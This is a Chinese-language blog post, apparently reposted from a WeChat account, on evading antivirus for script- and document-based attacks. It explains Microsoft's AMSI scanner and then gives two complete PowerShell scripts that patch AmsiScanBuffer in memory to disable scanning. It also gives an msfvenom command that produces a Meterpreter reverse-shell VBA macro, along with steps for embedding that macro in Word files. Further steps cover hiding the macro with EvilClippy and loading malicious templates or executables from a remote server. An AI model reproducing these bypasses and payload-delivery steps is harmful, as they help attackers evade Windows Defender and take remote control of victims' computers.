Powershell与Amsi
powershell
作为Windows系统内置工具, Powershell脚本的功能十分强大,同时作为系统的功能组件不会被常规杀毒引擎查杀。兼具这两个有点,Powershell的恶意利用程序得到快速发展,从2012年Powershell 攻击利用工具成型化以来,互联网中的通过无文件与Powershell的攻击事件数量逐年递增。无文件攻击在感染计算机时,不需写入磁盘即可从事恶意活动,绕过那些基于签名和文件检测的传统安全软件。 如何检测这些恶意行为成了安全厂商和企业用户与个人更为关心的问题。微软在2015年中旬开始提出了针对无文件攻击和Powershell脚本攻击的检测缓解方案-AMSI。
amsi
AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口。它的流程在于扫描-触发-病毒库。amsi主要的目的是分析文本类的恶意代码。
接入该接口的厂商有以下:https://github.com/subat0mik/whoamsi/
(ps:国内杀软都没有接入amsi,amsi一般只跟defender相关)
原理:正则匹配。
以下是被amsi阻拦的内容示例:
绕过方法
编码
各种编码 base64 hex ascii
降低版本
低版本的powershell是没有amsi的,所以在powershell2.0上执行恶意脚本就不会被检测到。
以下是预装在windows系统中的powershell
但是该方法一般不好运用,因为一般平常没人会在电脑里装一些c的运行库用来运行powershell低版本。
长度清零
在amsi.dll这个文件里面有一个叫做amsiscanbuffer
的函数。
HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[in, optional] HAMSISESSION amsiSession,
[out] AMSI_RESULT *result
);
[in] amsiContext
最初从 AmsiInitialize 收到的HMSICONTEXT类型的句柄。
[in] buffer
从中读取要扫描的数据的缓冲区。
[in] length
要从缓冲区读取的数据的长度(以字节为单位) 。
[in] contentName
正在扫描的内容的文件名、URL、唯一脚本 ID 或类似内容。
[in, optional] amsiSession
如果要在一个会话中关联多个扫描请求,请将session设置为最初从AmsiOpenSession接收的 HAMSISESSION 类型的句柄。否则,将session设置为nullptr。
[out] result
扫描结果。请参阅AMSI_RESULT。
应用应使用AmsiResultIsMalware来确定是否应阻止内容。
返回值
如果此函数成功,则返回S_OK。否则,它会返回HRESULT错误代码。
长度清零的原理就是把length参数的字段清一个0,每一次扫的内容长度是0,自然也就等于没扫了,也就是绕过了amsi。
脚本如下:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string lpLibFileName);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kernel32
Class Hunter {
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {
while ($true) {
[int]$count = 0
while ($true) {
[IntPtr]$address = [IntPtr]::Add($address, 1)
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {
$count++
If ($count -eq $egg.Length) {
return [IntPtr]::Subtract($address, $egg.Length - 1)
}
} Else { break }
}
}
return $address
}
}
[IntPtr]$hModule = [Kernel32]::LoadLibrary("amsi.dll")
Write-Host "[+] AMSI DLL Handle: $hModule"
[IntPtr]$dllCanUnloadNowAddress = [Kernel32]::GetProcAddress($hModule, "DllCanUnloadNow")
Write-Host "[+] DllCanUnloadNow address: $dllCanUnloadNowAddress"
If ([IntPtr]::Size -eq 8) {
Write-Host "[+] 64-bits process"
[byte[]]$egg = [byte[]] (
0x4C, 0x8B, 0xDC, # mov r11,rsp
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi
0x57, # push rdi
0x41, 0x56, # push r14
0x41, 0x57, # push r15
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h
)
} Else {
Write-Host "[+] 32-bits process"
[byte[]]$egg = [byte[]] (
0x8B, 0xFF, # mov edi,edi
0x55, # push ebp
0x8B, 0xEC, # mov ebp,esp
0x83, 0xEC, 0x18, # sub esp,18h
0x53, # push ebx
0x56 # push esi
)
}
[IntPtr]$targetedAddress = [Hunter]::FindAddress($dllCanUnloadNowAddress, $egg)
Write-Host "[+] Targeted address: $targetedAddress"
$oldProtectionBuffer = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null
$patch = [byte[]] (
0x31, 0xC0, # xor rax, rax
0xC3 # ret
)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3)
$a = 0
[Kernel32]::VirtualProtect($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null
```
复现如下:
在运行该脚本后
改变调查结果
它的原理是让每次amsi回来的结果都是false,这也可以绕过amsi。
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0: 31 c0 xor eax,eax
#2: 05 78 01 19 7f add eax,0x7f190178
#7: 05 df fe ed 00 add eax,0xedfedf
#c: c3 ret
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
案例使用如下:
宏与office
宏
宏其实就是vba编写的脚本文件。它可以运行在office文件中。但是现在微软官方已经不更新vb了。
案例1:
首先在msf中生成一个宏文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.128.128 lport=4444 -f vba
接着我们去创建一个word文件,在视图——>宏中去录制一个新的宏(将宏保存在新建的文档),将msf生成的vba脚本粘贴到宏中去,随后另存为一个新的docm文档。点击新的docm文档,之后选择启用宏,便可以上线msf。
当然这个东西是不免杀的,可以尝试通过编码等方式去免杀。
也可以使用工具evilclipy。它的功能就是对文件进行二次压缩。使用正常的vba去掩盖恶意vba。
案例2:
首先去github上clone下来,之后使用vs在本地编译该exe。编译结果如下:
接下来去网上随便找一个符合格式的vba文件,再使用刚才的恶意docm文件。再路径下进行编译
点击后打开启用宏,仍然msf上线,且本地火绒扫秒该文件不报毒
远程模板加载
远程模板加载就是word文档去加载远程的宏的意思。并没有变得很高大上。
案列:
在录制宏的时候,将宏保存在所在文档。
仍然将msf放入宏文件。并将该文档保存为dotm文件。
然后把该dotm文件放到远程vps上。这里我直接放到kali上的。使用python开启http服务。
在物理机上新建一个docx文件(注意选择从模板加载),将它改成rar文件后缀,之后解压。
在word->_Rels ->settings.xml.rels里面修改以下字段位置
把target字段修改成HTTP协议,之后访问vps上的模板文件。
重新将解压缩出来的东西弄成rar文件,接下来改成docx文档,打开就会发现msf已经上线
并且远程加载,一般是扫描不出来的
案例2:
除了以上加载,我们还可以使用文件形式的加载远程加载。
在word里面,插入对象,对象里面还有一个由文件创建,可以直接在这里键入远程http
可以把恶意exe放在vps上,通过这个访问。
dde
office中可以使用域来执行一些恶意操作。
dde攻击
除了office,excel也可以使用iyq,远程加载网页,做成恶意攻击。
iyq攻击
PowerPoint中也可以直接加载运行程序。
原文始发于微信公众号(芸潘):文本类型的免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论